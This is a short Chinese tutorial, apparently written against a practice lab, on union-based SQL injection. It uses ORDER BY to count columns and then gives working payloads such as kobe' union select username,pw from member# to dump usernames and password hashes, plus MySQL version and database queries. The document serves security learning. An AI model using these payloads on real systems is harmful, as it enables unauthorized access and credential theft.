基于union的信息获取
基于 union 的信息获取
union 联合查询
union 联合命令:
- 用于合并两个或多个 SELECT 语句的结果集,并返回合并后的结果集。
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名
select username,password from user where id=1 union select 命令1,命令2
注意联合命令的字段数命令数需要和主查询一致! 那么我们怎么知道主查询有多少字段数呢?
order by 排序
使用order by方法,对查询结果进行排序,示例如下:
select id,email from member where username='kobe' order by 1;
该语句后面跟上order by 1,表示对查询结果按1 字段进行排序
如果我们写了order by 3,实际上查询结果只有 2 个字段,那么会报错!!
以字符型注入为例,我们输入kobe' order by 3#
报错信息为:
Unknown column '3' in 'order clause'
表示没有第三个字段,标明字段数<3
输入kobe' order by 2#
正常输出结果,表示有>=2个字段
<3,>=2,说明字段数为2
一个个试就能试出来了
mysql 命令补充
Select version(); //取的数据库版本
Select database();//取得当前的数据库
Select user(); //取得当前登录的用户
总结
- 通过
order by方法知道主查询字段数
select id,email from member where username='kobe' order by 3;
- 尝试
union联合查询,看看能不能得到更多信息
#比如username、password、id、email、phone之类的同一表下其他信息
#需要通过information_schema拿到信息
select id,email from member where username='kobe' union select 字段1,字段2 from 表名
#数据库信息,比如version()、database()、user()
select id,email from member where username='kobe' union select 命令1,命令2
具体操作
以字符型注入为例,我们输入以下代码:
kobe' union select username,pw from member#
#返回了username和pw的md5值

kobe' union select version(),database()#
#返回了数据库版本号`5.7.26`和当前数据库名`root`
